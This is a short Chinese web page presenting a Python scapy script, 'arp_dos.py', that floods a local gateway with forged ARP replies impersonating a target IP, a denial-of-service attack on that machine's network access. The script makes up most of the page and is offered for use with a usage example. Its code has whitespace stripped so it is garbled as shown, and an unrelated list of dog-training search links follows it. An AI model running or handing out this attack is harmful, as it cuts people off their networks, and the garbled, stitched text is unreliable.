python写的ARP攻击代码实例
注:使用这个脚本需要安装scapy包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8 #example:sudo pythonarp_dos.py 192.168.1.103
fromscapy.allimportARP,send importos,re,sys
defget_gateway_ip(): t=os.popen('route-n') foriint: ifi.startswith('0.0.0.0'): r=re.split("\s+",i) returnr[1]
defget_gateway_hw(ip): t=os.popen('arp-e%s'%ip) foriint: ifi.startswith(ip): r=re.split("\s+",i) returnr[2] defhack(hackip): ip=get_gateway_ip() hw=get_gateway_hw(ip) arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip) #os.popen('ifconfigeth0%s'%hackip) while1: send(arp)
defhelp(): print("USEAGE:sudopythonarp_dos.py192.168.1.100")
defmain(): iflen(sys.argv)!=2: help() else: hack(sys.argv[1]) if__name__=="__main__": main()
热门推荐
1 训练狗狗憋尿
2 狗狗追踪训练
3 狗狗训练要多少钱
5 深圳狗狗训练
6 训练狗狗唤回
7 狗狗叫怎么训练
8 狗狗训练班
10 狗狗社会化训练
11 狗狗叫回训练
12 广州狗狗训练学校
13 狗狗训练躺下
14 狗狗随行训练
15 训练狗狗巡回
16 狗狗要怎么训练
17 狗狗喂食训练
18 训练狗狗躺下